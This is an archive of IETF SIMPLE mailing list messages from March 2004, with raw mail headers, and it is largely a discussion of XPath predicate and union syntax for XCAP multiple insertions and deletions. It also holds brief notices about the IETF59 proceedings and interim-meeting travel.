> http://www.w3schools.com/xpath/xpath_syntax.asp
> 
> In the latter you'll see union examples in "Selecting Several Paths"
> 
> > > 
> > > /element[@attr="test"] | /element/test
> > > 
> > > The working solution is to use position() function and "or" logical
> > > expression i.e.
> > > 
> > > /element[position()=1 or position()=2]
> > > 
> > > Secondly, you may have missed my earlier posting, where I proposed that
> > > index could be added onto XPATH expression when one wants to insert new
> > > item at a specific location i.e.
> > > 
> > > /element[@attr="test"][2]
> > 
> > It wasnt clear to me how this is allowed; the basic grammar for step is:
> > 
> > [4]   	Step	   ::=   	AxisSpecifier NodeTest Predicate*	
> > [8]   	Predicate	   ::=   	'[' PredicateExpr ']'	
> > 
> > which would seem to rule out the above.
> > Perhaps you could do it with:
> > 
> > /element[@attr="test" and position()=2]
> > 
> IMO this is the equivalent format that can also be used. I have always
> read the grammar so that you can have many predicates which are
> effectively anded together (look msdn ref and also works with libxml2)
I decided to go ahead to try multiple inserts/replaces/deletes in
practice and I found that all but delete behavior is IMO consistent and
easy to implement (also ordered inserts work). What bothers me in
delete, is that it is not easy to see from the XPATH expression how many
elements is going to be deleted. Of course, in get and in put you'll
don't have this problem as e.g. in partial put you'll provide equal
amount of sibling members that the query must match. Therefore, I'll
propose that union would be used with full location paths and each
expression would have to point to a single node(set), the constraint of
which is already inherent in XCAP. 

This would result in somewhat lengthier XPATH-compatible expressions but
it would also enable to select other nodes from the doc than only
siblings (there might be need for that also in CPCP as I heard). 

Also, this would be a small add-on to XCAP BNF, where btw. I would like
to see also text-node predicates like [item="foo"] and also the current
"." selection like [.="bar"].

BR,
Jari


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Fri Mar 26 02:20:28 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA03828
	for <simple-archive@odin.ietf.org>; Fri, 26 Mar 2004 02:20:28 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6ldH-0006nA-3g
	for simple-archive@odin.ietf.org; Fri, 26 Mar 2004 02:20:00 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2Q7JwMe026082
	for simple-archive@odin.ietf.org; Fri, 26 Mar 2004 02:19:58 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6ldF-0006mX-T9
	for simple-web-archive@optimus.ietf.org; Fri, 26 Mar 2004 02:19:57 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA03763
	for <simple-web-archive@ietf.org>; Fri, 26 Mar 2004 02:19:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6ldC-0006a9-00
	for simple-web-archive@ietf.org; Fri, 26 Mar 2004 02:19:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6lcI-0006Ut-00
	for simple-web-archive@ietf.org; Fri, 26 Mar 2004 02:18:59 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6lbT-0006Px-00; Fri, 26 Mar 2004 02:18:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6lbM-00065d-Pl; Fri, 26 Mar 2004 02:18:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6lbD-00061u-Bm
	for simple@optimus.ietf.org; Fri, 26 Mar 2004 02:17:51 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA03524
	for <simple@ietf.org>; Fri, 26 Mar 2004 02:17:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6lb9-0006Nx-00
	for simple@ietf.org; Fri, 26 Mar 2004 02:17:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6laC-0006Ju-00
	for simple@ietf.org; Fri, 26 Mar 2004 02:16:49 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6lZJ-0006Gj-00
	for simple@ietf.org; Fri, 26 Mar 2004 02:15:53 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2Q7Fon09146;
	Fri, 26 Mar 2004 09:15:51 +0200 (EET)
X-Scanned: Fri, 26 Mar 2004 09:17:11 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i2Q7HBH6014349;
	Fri, 26 Mar 2004 09:17:11 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks001.ntc.nokia.com 00N4jwZT; Fri, 26 Mar 2004 09:17:10 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2Q7F8F13396;
	Fri, 26 Mar 2004 09:15:08 +0200 (EET)
Received: from mgw.research.nokia.com ([172.21.33.76]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Fri, 26 Mar 2004 09:15:07 +0200
Received: from xitami.research.nokia.com (xitami.research.nokia.com [172.21.40.110])
	by mgw.research.nokia.com (8.9.3/8.9.3) with ESMTP id JAA14086;
	Fri, 26 Mar 2004 09:15:22 +0200 (EET)
Subject: Re: [Simple] Re: xcap multiple insertions
From: Jari Urpalainen <Jari.Urpalainen@nokia.com>
To: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: simple@ietf.org
In-Reply-To: <1079000238.23502.345.camel@xitami.research.nokia.com>
References: <1078390601.21131.72.camel@xitami.research.nokia.com>
	 <40500CF0.1070906@dynamicsoft.com>
	 <1079000238.23502.345.camel@xitami.research.nokia.com>
Content-Type: text/plain
Message-Id: <1080285306.12842.53.camel@xitami.research.nokia.com>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 26 Mar 2004 07:15:07.0729 (UTC) FILETIME=[117A0C10:01C41302]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 26 Mar 2004 09:15:07 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

On Thu, 2004-03-11 at 12:17, ext Jari Urpalainen wrote:
> On Thu, 2004-03-11 at 08:53, ext Jonathan Rosenberg wrote:
> > Thanks for the comments. inline.
> > 
> > Jari Urpalainen wrote:
> > 
> > > Hi Jonathan !
> > > 
> > > I read your XCAP representation in Seoul and I'll have a few comments.
> > > 
> > > When selection multiple entries you can't use union "|" there. Union is
> > > used to select multiple location paths like
> > 
> > Yes, I noticed that xml spy didnt seem to like these expressions, but 
> > according to the spec at least they seemed ok. From the xpath spec:
> > 
> > [8]   	Predicate	   ::=   	'[' PredicateExpr ']'	
> > [9]   	PredicateExpr	   ::=   	Expr	
> > [14]   	Expr	   ::=   	OrExpr	
> > [21]   	OrExpr	   ::=   	AndExpr	
> > 			| OrExpr 'or' AndExpr	
> > [22]   	AndExpr	   ::=   	EqualityExpr	
> > 			| AndExpr 'and' EqualityExpr	
> > [23]   	EqualityExpr	   ::=   	RelationalExpr	
> > 			| EqualityExpr '=' RelationalExpr	
> > 			| EqualityExpr '!=' RelationalExpr	
> > [24]   	RelationalExpr	   ::=   	AdditiveExpr	
> > 			| RelationalExpr '<' AdditiveExpr	
> > 			| RelationalExpr '>' AdditiveExpr	
> > 			| RelationalExpr '<=' AdditiveExpr	
> > 			| RelationalExpr '>=' AdditiveExpr	
> > [25]   	AdditiveExpr	   ::=   	MultiplicativeExpr	
> > 			| AdditiveExpr '+' MultiplicativeExpr	
> > 			| AdditiveExpr '-' MultiplicativeExpr	
> > [26]   	MultiplicativeExpr	   ::=   	UnaryExpr	
> > 			| MultiplicativeExpr MultiplyOperator UnaryExpr	
> > 			| MultiplicativeExpr 'div' UnaryExpr	
> > 			| MultiplicativeExpr 'mod' UnaryExpr	
> > [27]   	UnaryExpr	   ::=   	UnionExpr	
> > 			| '-' UnaryExpr	
> > [18]   	UnionExpr	   ::=   	PathExpr	
> > 			| UnionExpr '|' PathExpr	
> > [19]   	PathExpr	   ::=   	LocationPath	
> > 			| FilterExpr	
> > 			| FilterExpr '/' RelativeLocationPath	
> > 			| FilterExpr '//' RelativeLocationPath	
> > [20]   	FilterExpr	   ::=   	PrimaryExpr	
> > 			| FilterExpr Predicate	
> > [15]   	PrimaryExpr	   ::=   	VariableReference	
> > 			| '(' Expr ')'	
> > 			| Literal	
> > 			| Number	
> > 			| FunctionCall	
> > 
> > following this chain of grammar, I concluded that I could have a 
> > predicate that was an OrExpr, which is an AndExpr, which is an 
> > EqualityExpr, which is a RelationalExpr, which is an AdditiveExpr, which 
> > is a MultiplicativeExpr, which is a UnaryExpr, which is a UnionExpr, 
> > which can be a series of PathExpr separated  by '|', and PathExpr can be 
> > a FilterExpr which can be a PrimaryExpr, which can be a Number. Thus, 
> > the predicate 1|2|3 seemed allowed.
> > 
> > What am I missing??
> > 
> > 
> As can be seen ;) these specs are so nice, simple and easy to
> interpret... I must confess that I haven't payed much attention to this
> grammar. However, the problem isn't actually just syntactic (so the
> syntax you propose is IMO right) but more semantic. When conditions are
> added to test location paths, the result of condition should be of type
> boolean and of course to pass the test it should be true, so in this
> particular case, what is the result of union of 1, 2 and 3 ? IMO it is
> just ~true (and this seems to be also the interpretation of the
> xml-library that I usually utilize (libxml2). 
> 
> Furthermore, I could point e.g. to these two references which have IMO
> good examples, how XPATH selections work (or should work?)
> 
> http://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk/htm/xpath_syntax2_3prn.asp
> 
> http://www.w3schools.com/xpath/xpath_syntax.asp
> 
> In the latter you'll see union examples in "Selecting Several Paths"
> 
> > > 
> > > /element[@attr="test"] | /element/test
> > > 
> > > The working solution is to use position() function and "or" logical
> > > expression i.e.
> > > 
> > > /element[position()=1 or position()=2]
> > > 
> > > Secondly, you may have missed my earlier posting, where I proposed that
> > > index could be added onto XPATH expression when one wants to insert new
> > > item at a specific location i.e.
> > > 
> > > /element[@attr="test"][2]
> > 
> > It wasnt clear to me how this is allowed; the basic grammar for step is:
> > 
> > [4]   	Step	   ::=   	AxisSpecifier NodeTest Predicate*	
> > [8]   	Predicate	   ::=   	'[' PredicateExpr ']'	
> > 
> > which would seem to rule out the above.
> > Perhaps you could do it with:
> > 
> > /element[@attr="test" and position()=2]
> > 
> IMO this is the equivalent format that can also be used. I have always
> read the grammar so that you can have many predicates which are
> effectively anded together (look msdn ref and also works with libxml2)
I decided to go ahead to try multiple inserts/replaces/deletes in
practice and I found that all but delete behavior is IMO consistent and
easy to implement (also ordered inserts work). What bothers me in
delete, is that it is not easy to see from the XPATH expression how many
elements is going to be deleted. Of course, in get and in put you'll
don't have this problem as e.g. in partial put you'll provide equal
amount of sibling members that the query must match. Therefore, I'll
propose that union would be used with full location paths and each
expression would have to point to a single node(set), the constraint of
which is already inherent in XCAP. 

This would result in somewhat lengthier XPATH-compatible expressions but
it would also enable to select other nodes from the doc than only
siblings (there might be need for that also in CPCP as I heard). 

Also, this would be a small add-on to XCAP BNF, where btw. I would like
to see also text-node predicates like [item="foo"] and also the current
"." selection like [.="bar"].

BR,
Jari


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Fri Mar 26 15:42:38 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA13516
	for <simple-archive@ietf.org>; Fri, 26 Mar 2004 15:42:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6yA2-0005Gb-00
	for simple-archive@ietf.org; Fri, 26 Mar 2004 15:42:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6y97-0005B1-00
	for simple-archive@ietf.org; Fri, 26 Mar 2004 15:41:42 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6y8X-00054T-00; Fri, 26 Mar 2004 15:41:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6y8T-0003KM-HH; Fri, 26 Mar 2004 15:41:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6y7j-0003Jb-Pl
	for simple@optimus.ietf.org; Fri, 26 Mar 2004 15:40:15 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA13481
	for <simple@ietf.org>; Fri, 26 Mar 2004 15:40:13 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6y7i-00052u-00
	for simple@ietf.org; Fri, 26 Mar 2004 15:40:14 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6y6o-00050b-00
	for simple@ietf.org; Fri, 26 Mar 2004 15:39:18 -0500
Received: from [63.110.3.64] (helo=dyn-tx-arch-crash.dfw.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6y60-0004uz-00
	for simple@ietf.org; Fri, 26 Mar 2004 15:38:28 -0500
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by dyn-tx-arch-crash.dfw.dynamicsoft.com (8.11.6/8.11.6) with ESMTP id i2QKbwh00878
	for <simple@ietf.org>; Fri, 26 Mar 2004 14:37:58 -0600
From: Robert Sparks <rsparks@dynamicsoft.com>
To: simple@ietf.org
Content-Type: text/plain
Message-Id: <1080333343.2967.59.camel@localhost.localdomain>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] IETF59 proceedings
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 26 Mar 2004 14:35:44 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

The proceedings from the SIMPLE working group meetings at
IETF59 are available at 
http://www.softarmor.com/simple/meets/ietf59/proceedings/

If you presented, please double-check your contribution.

The deadline for submission is next Friday. I'd like to
turn them in a day early if possible...

RjS


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Fri Mar 26 15:43:16 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA13553
	for <simple-archive@odin.ietf.org>; Fri, 26 Mar 2004 15:43:16 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6yAB-0003Td-6W
	for simple-archive@odin.ietf.org; Fri, 26 Mar 2004 15:42:48 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2QKglWb013359
	for simple-archive@odin.ietf.org; Fri, 26 Mar 2004 15:42:47 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6yAA-0003Sw-Nm
	for simple-web-archive@optimus.ietf.org; Fri, 26 Mar 2004 15:42:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA13534
	for <simple-web-archive@ietf.org>; Fri, 26 Mar 2004 15:42:39 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6yA4-0005Gr-00
	for simple-web-archive@ietf.org; Fri, 26 Mar 2004 15:42:40 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6y98-0005B9-00
	for simple-web-archive@ietf.org; Fri, 26 Mar 2004 15:41:42 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6y8X-00054T-00; Fri, 26 Mar 2004 15:41:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6y8T-0003KM-HH; Fri, 26 Mar 2004 15:41:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6y7j-0003Jb-Pl
	for simple@optimus.ietf.org; Fri, 26 Mar 2004 15:40:15 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA13481
	for <simple@ietf.org>; Fri, 26 Mar 2004 15:40:13 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6y7i-00052u-00
	for simple@ietf.org; Fri, 26 Mar 2004 15:40:14 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6y6o-00050b-00
	for simple@ietf.org; Fri, 26 Mar 2004 15:39:18 -0500
Received: from [63.110.3.64] (helo=dyn-tx-arch-crash.dfw.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6y60-0004uz-00
	for simple@ietf.org; Fri, 26 Mar 2004 15:38:28 -0500
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	by dyn-tx-arch-crash.dfw.dynamicsoft.com (8.11.6/8.11.6) with ESMTP id i2QKbwh00878
	for <simple@ietf.org>; Fri, 26 Mar 2004 14:37:58 -0600
From: Robert Sparks <rsparks@dynamicsoft.com>
To: simple@ietf.org
Content-Type: text/plain
Message-Id: <1080333343.2967.59.camel@localhost.localdomain>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] IETF59 proceedings
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 26 Mar 2004 14:35:44 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

The proceedings from the SIMPLE working group meetings at
IETF59 are available at 
http://www.softarmor.com/simple/meets/ietf59/proceedings/

If you presented, please double-check your contribution.

The deadline for submission is next Friday. I'd like to
turn them in a day early if possible...

RjS


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar 29 13:33:32 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16374
	for <simple-archive@ietf.org>; Mon, 29 Mar 2004 13:33:32 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B81Zl-0007PL-00
	for simple-archive@ietf.org; Mon, 29 Mar 2004 13:33:33 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B81Yt-0007I6-00
	for simple-archive@ietf.org; Mon, 29 Mar 2004 13:32:40 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B81YR-0007BQ-00; Mon, 29 Mar 2004 13:32:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B81YH-0005rC-4z; Mon, 29 Mar 2004 13:32:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B62mu-0006zB-Mq
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 02:26:56 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA26850
	for <simple@ietf.org>; Wed, 24 Mar 2004 02:26:54 -0500 (EST)
From: john.loughney@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B62mr-0003CH-00
	for simple@ietf.org; Wed, 24 Mar 2004 02:26:53 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B62lr-000310-00
	for simple@ietf.org; Wed, 24 Mar 2004 02:25:51 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B62l2-0002pH-00; Wed, 24 Mar 2004 02:25:00 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2O7Ox402295;
	Wed, 24 Mar 2004 09:24:59 +0200 (EET)
X-Scanned: Wed, 24 Mar 2004 09:25:10 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i2O7PAcd017927;
	Wed, 24 Mar 2004 09:25:10 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks001.ntc.nokia.com 00XUaFoK; Wed, 24 Mar 2004 09:25:07 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2O7NSF26283;
	Wed, 24 Mar 2004 09:23:28 +0200 (EET)
Received: from esebe023.NOE.Nokia.com ([172.21.138.115]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 24 Mar 2004 09:23:08 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Message-ID: <DADF50F5EC506B41A0F375ABEB320636D44C93@esebe023.ntc.nokia.com>
Thread-Topic: [Sip] RE: [Sipping] Proposed dates for SIPish interim meetings
Thread-Index: AcQQN6TjZtVpGUDETLyUk9NXeQleaAABKYVwAE0BZvA=
To: <dromasca@avaya.com>, <sipping@ietf.org>
Cc: <sip@ietf.org>, <simple@ietf.org>
X-OriginalArrivalTime: 24 Mar 2004 07:23:08.0726 (UTC) FILETIME=[DB58DD60:01C41170]
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] [Sipping] Proposed dates for SIPish interim meetings
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 24 Mar 2004 09:23:08 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Hi all,

Sorry for starting this mail thread - I suggest that we don't reply
any more with respect to flight info, etc. Direct, personal email
works best.

Anyhow, my main point was that looking at flights from Expedia gave
me a couple of choices - flights that were only two hops were much
more expensive than flights that were 3 to 4 hops.  Add to that a 45
minute drive after a 12+ hour flight, made Boulder seem suboptimal
to me.  Anyhow, I'm not a key contributor here, so maybe this is
not a critical issue. =20

John

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Mon Mar 29 13:33:35 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16395
	for <simple-archive@ietf.org>; Mon, 29 Mar 2004 13:33:35 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B81Zn-0007Pf-00
	for simple-archive@ietf.org; Mon, 29 Mar 2004 13:33:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B81Yv-0007IO-00
	for simple-archive@ietf.org; Mon, 29 Mar 2004 13:32:41 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B81YR-0007BR-00; Mon, 29 Mar 2004 13:32:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B81YH-0005rK-Jt; Mon, 29 Mar 2004 13:32:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B64XO-0003FD-Na
	for simple@optimus.ietf.org; Wed, 24 Mar 2004 04:19:02 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA07594
	for <simple@ietf.org>; Wed, 24 Mar 2004 04:19:00 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B64XM-0004gE-00
	for simple@ietf.org; Wed, 24 Mar 2004 04:19:00 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B64WV-0004UJ-00
	for simple@ietf.org; Wed, 24 Mar 2004 04:18:08 -0500
Received: from gromit.rfc1035.com ([195.54.233.67])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B64Vh-0004FO-00; Wed, 24 Mar 2004 04:17:17 -0500
Received: from gromit.rfc1035.com (gromit.rfc1035.com [195.54.233.67])
	by gromit.rfc1035.com (8.12.10/8.12.10) with ESMTP id i2O9H4Rv011617;
	Wed, 24 Mar 2004 09:17:04 GMT
To: "Romascanu, Dan (Dan)" <dromasca@avaya.com>
cc: "Kozdon, Peter" <Peter.Kozdon@icn.siemens.com>, john.loughney@nokia.com,
        dean.willis@softarmor.com, sipping@ietf.org,
        gparsons@nortelnetworks.com, sip@ietf.org, simple@ietf.org
In-Reply-To: Message from "Romascanu, Dan (Dan)" <dromasca@avaya.com> 
   of "Mon, 22 Mar 2004 20:35:08 +0200." <AAB4B3D3CF0F454F98272CBE187FDE2F056B2946@is0004avexu1.global.avaya.com> 
Message-ID: <11616.1080119824@gromit.rfc1035.com>
